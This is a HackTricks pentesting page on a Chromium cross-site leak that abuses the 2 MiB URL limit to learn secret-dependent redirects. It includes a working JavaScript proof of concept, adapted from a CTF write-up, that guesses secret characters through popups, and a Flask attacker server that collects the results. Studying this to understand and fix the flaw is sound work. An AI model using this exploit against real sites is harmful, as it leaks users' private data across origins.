url-max-length-client-side.md (7049B)
1 --- 2 title: "URL Max Length - Client Side" 3 section: "Web Pentesting" 4 sectionSlug: "pentesting-web" 5 sourcePath: "src/pentesting-web/xs-search/url-max-length-client-side.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/xs-search/url-max-length-client-side.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: false 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # URL Max Length - Client Side 14 15 This Chromium-specific XS-Leak exploits the browser's 2 MiB URL limit. The attacker opens a URL just below the limit. If a secret-dependent response redirects to a longer URL, Chromium blocks the navigation and leaves an accessible `about:blank` document; otherwise, the window completes a cross-origin navigation and reading `origin` throws an exception. This difference provides a one-bit oracle.<sup>[[1]](#references)[[2]](#references)</sup> 16 17 ## Requirements and mechanics 18 19 The useful gadget is a **credentialed top-level GET** whose hit and miss paths produce final URLs of different lengths. This matters because `SameSite=Lax` cookies can accompany a top-level navigation even though they would normally be absent from a cross-site subresource probe. The attacker must also retain the popup's `WindowProxy`, and the ordinary branch must commit a document cross-origin from the attacker.<sup>[[1]](#references)</sup> 20 21 The padding belongs in the **fragment**. It is not sent in the HTTP request, so the initial request does not have to cross a server or proxy request-line limit. When an HTTP redirect has no fragment of its own, the browser carries the original fragment into the redirect target; any state-dependent path/query growth can therefore push only the final client-side URL over the limit. A `Location` containing its own fragment replaces this padding and breaks the primitive.<sup>[[1]](#references)</sup> 22 23 Current Chromium keeps `kMaxURLChars` at `2 * 1024 * 1024` (2,097,152) and rejects a navigation when the canonical destination's `spec().size()` is greater than that value. Count the **serialized URL**, not an unescaped input string: percent-encoding and URL canonicalization can change its size. Using an ASCII fragment makes the calculation predictable.<sup>[[2]](#references)[[3]](#references)</sup> 24 25 ```javascript 26 function padBelowLimit(base, slack = 1) { 27 const u = new URL(base) 28 u.hash = "" 29 const head = u.href + "#" 30 const count = 2 * 1024 * 1024 - head.length - slack 31 if (count < 0) throw new Error("base URL already exceeds the limit") 32 return head + "A".repeat(count) 33 } 34 ``` 35 36 Choose `slack` smaller than the redirect-induced growth, and calibrate the boundary with known hit/miss queries in the exact browser build. Do not assume that every oversized navigation exposes the same state: current Chromium regression tests map an oversized fragment from an initial `about:blank` document to `about:blank#blocked`, while an oversized same-document fragment navigation from an already committed non-blank page can retain its previous URL. The fresh popup/initial-document state is therefore part of the gadget.<sup>[[3]](#references)[[4]](#references)</sup> 37 38 ## Proof of concept 39 40 The following proof of concept, adapted from the HackTM CTF 2023 write-up, tests candidate characters:<sup>[[1]](#references)</sup> 41 42 ```html 43 <html> 44 <body></body> 45 <script> 46 ;(async () => { 47 const curr = "http://secrets.wtl.pw/search?query=HackTM{" 48 49 const leak = async (char) => { 50 fetch("/?try=" + char) 51 let w = window.open( 52 curr + char + "#" + "A".repeat(2 * 1024 * 1024 - curr.length - 2) 53 ) 54 55 const check = async () => { 56 try { 57 w.origin 58 } catch { 59 fetch("/?nope=" + char) 60 return 61 } 62 setTimeout(check, 100) 63 } 64 check() 65 } 66 67 const CHARSET = "abcdefghijklmnopqrstuvwxyz-_0123456789" 68 69 for (let i = 0; i < CHARSET.length; i++) { 70 leak(CHARSET[i]) 71 await new Promise((resolve) => setTimeout(resolve, 50)) 72 } 73 })() 74 </script> 75 </html> 76 ``` 77 78 The attacker's server records candidates for which the cross-origin navigation completed: 79 80 ```python 81 from flask import Flask, request 82 83 app = Flask(__name__) 84 85 CHARSET = "abcdefghijklmnopqrstuvwxyz-_0123456789" 86 chars = [] 87 88 @app.route('/', methods=['GET']) 89 def index(): 90 global chars 91 92 nope = request.args.get('nope', '') 93 if nope: 94 chars.append(nope) 95 96 remaining = [c for c in CHARSET if c not in chars] 97 98 print("Remaining: {}".format(remaining)) 99 100 return "OK" 101 102 @app.route('/exploit.html', methods=['GET']) 103 def exploit(): 104 return open('exploit.html', 'r').read() 105 106 if __name__ == '__main__': 107 app.run(host='0.0.0.0', port=1337) 108 ``` 109 110 This PoC is an **elimination oracle**: a `SecurityError` means the popup committed cross-origin, so that candidate is reported as `nope`; candidates that remain readable are possible hits. The initial popup is also readable before its navigation commits, so never classify the first successful read as a hit. Use a bounded polling deadline, reject `window.open()` returning `null`, close each popup, keep concurrency low, and confirm survivors over several runs with known positive and negative controls. Otherwise slow navigation, popup blocking, or the memory cost of multiple 2 MiB URLs can create false positives and destabilize a browser bot.<sup>[[1]](#references)</sup> 111 112 ## Limitations and defenses 113 114 This is not a generic URL-length oracle: it requires a length-changing redirect, inherited fragment padding, a usable top-level popup, and Chromium behavior that preserves a same-origin initial document on the oversized branch. Firefox, WebKit, embedded WebViews, and future Chromium versions must be measured independently rather than assigned the same threshold or blocked-page behavior.<sup>[[1]](#references)[[4]](#references)</sup> 115 116 The strongest fix is to remove the state-dependent navigation difference: do not place secret-dependent data in redirect destinations and make hit/miss redirects indistinguishable in structure and length.<sup>[[1]](#references)</sup> See the general [XS-Leaks defenses](/hacktricks/pentesting-web/xs-search/overview#defenses) for controls that restrict credentialed cross-site requests or sever opener relationships. 117 118 119 ## References 120 121 - [1] [HackTM CTF Quals 2023 - secrets (unintended solution: Chrome's 2MB URL limit)](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit) 122 - [2] [Chromium - URL display guidelines: URL length](https://chromium.googlesource.com/chromium/src/+/main/docs/security/url_display_guidelines/url_display_guidelines.md#URL-Length) 123 - [3] [Chromium - navigation URL validation (`kMaxURLChars`)](https://chromium.googlesource.com/chromium/src/+/main/content/browser/renderer_host/navigation_controller_impl.cc) 124 - [4] [Chromium - oversized navigation browser tests](https://chromium.googlesource.com/chromium/src/+/main/content/browser/navigation_browsertest.cc)